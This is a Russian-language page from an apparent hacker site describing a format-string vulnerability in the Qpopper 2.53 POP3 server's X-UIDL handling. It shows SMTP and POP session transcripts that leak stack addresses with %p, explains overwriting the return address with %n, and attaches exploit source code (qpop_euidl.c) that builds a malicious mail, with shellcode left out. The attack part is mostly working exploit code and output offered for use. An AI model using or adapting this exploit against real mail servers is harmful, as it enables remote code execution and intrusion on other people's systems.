Главная
Архив новостей
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
_el@sp.sz.ru

RB2 Network


Team Void



Почтовый демон Qpopper 2.53 широко используется для организации получения почты клиентами. Qpopper имеет возможности гибких настроек и используется практически повсеместно.

Проблемы в нём связаны с отсутствием проверки формата при обработке параметра X-UIDL, передаваемый параметр рассматривается как строка, задающая формат, и при указании формата %n, естественно, возможно осуществить запись следующего параметра по адресу, где располагаются предыдущие параметры.

Сначала мы посылаем письмо с X-UIDL, установленным в значение формата - к примеру, %p%p%p%p%p%p%p%p%p%p%p

	     MAIL FROM:
	     200 Ok
	     RCPT TO:
	     200 Ok
	     data
	     200 Okey, okey. end with "."
	     Subject: still trust qpop?=/
	     X-UIDL: AAAAAAAAAAAAAAAA
	     From: %p%p%p%p%p%p%p

	     test
	     .
	     200 BLABLABLA Ok, message 
	     accepted for delivery.
После этого пользователь подсоединяется к серверу, проходит процедуру авторизации и даёт команду euidl:
	+OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
	USER luser
	+OK Password required for luser.
	PASS secret
	+OK luser has 3 messages (1644 octets).
	euidl 3
	+OK 2 AAAAAAAAAAAAAAAA 530
         0xbfbfc9b00x804fd740xbfbfc9b00x212
        0x8052e5e0xbfbfd1e80x8057028
Как мы видим, qpopper возвратил нам адреса параметров, переданных vsnprintf(), так как формат для вывода был задан адресами (%p).

Использование отсутствия формата обсуждалось нами ранее - используя формат %n, мы можем записать количество распечатанных символов в стек. Перед вызовом уязвимой функции в стеке находятся адреса первого, второго аргумента, адрес стека взывающей функции. После входа в уязвимую функцию в стек добавлятются адрес возврата (EIP до вызова функции) и указатель на начало стека вызывающей функции.

Там требуется модифицировать адрес возврата. Для осуществления его модификации нам требуется знать
  • начало стека
  • указатель на адрес возврата
  • указатель на список аргументов (argv)
  • указатель на argv[0]
argv[0] представляет для нас интерес, поскольку он находится раньше всех других аргументов, и это единственное место для размещения указателя на новый адрес возврата.

Используя формат вывода адресов аргументов %p, мы узнаём их адреса, отступ от начала строки, вычисляем адрес, куда нам необходимо осуществить запись и, передав указатель на новый возвратный адрес первым аргументом, после строки нужной длины ставим необходимый нам адрес, по которому будет расположен шеллкод и ставим формат %n, в результате чего последний аргумент будет записан по адресу, соответствующему значению первого аргумента.

Эксплоит (без шеллкода) прилагается.
/*  qpop_euidl.c exploit by prizm/Buffer0verflow Security
 *
 *  Sample exploit for buffer overflow in Qpopper 2.53.
 *  This little proggie generates a mail u need to send.
 *
 *  Standard disclaimer applies.
 *  By the way, exploit is broken =) You need to 
 *  insert shellcode.
 *
 *  MAD greets to tf8 for pointing out the bug, 
 *  and all other b0f members.
 *  greets to USSRLabs and ADM
 *  check http://b0f.freebsd.lublin.pl/ for news.
 */
#include 
#include 

char shellcode[]="imnothing";
int main(int argc, char *argv[])
{
	int i;
	unsigned long ra=0;
	if(argc!=2) {
		fprintf(stderr,"Usage: 
		%s return_addr\n", argv[0]);
		exit(0);
	}
	sscanf(argv[1], "%x", &ra);
	if(!ra)
 		return;
	if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
		fprintf(stderr,"Bad shellcode\n");
		exit(0);
	}
	fprintf(stderr,"return address: 0x%.8x\n", ra);
	printf("X-UIDL: ");
	for(i=0; i < sizeof(shellcode);i++)
		printf("%c", shellcode[i]);
	printf("\r\n");
	printf("From: %s", "%.1000d");
	for(i=0; i < 50; i++)
		printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, 
                     (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
	printf("@test\r\n");
	printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
	return 0;
}

 duke.


<== Back to main page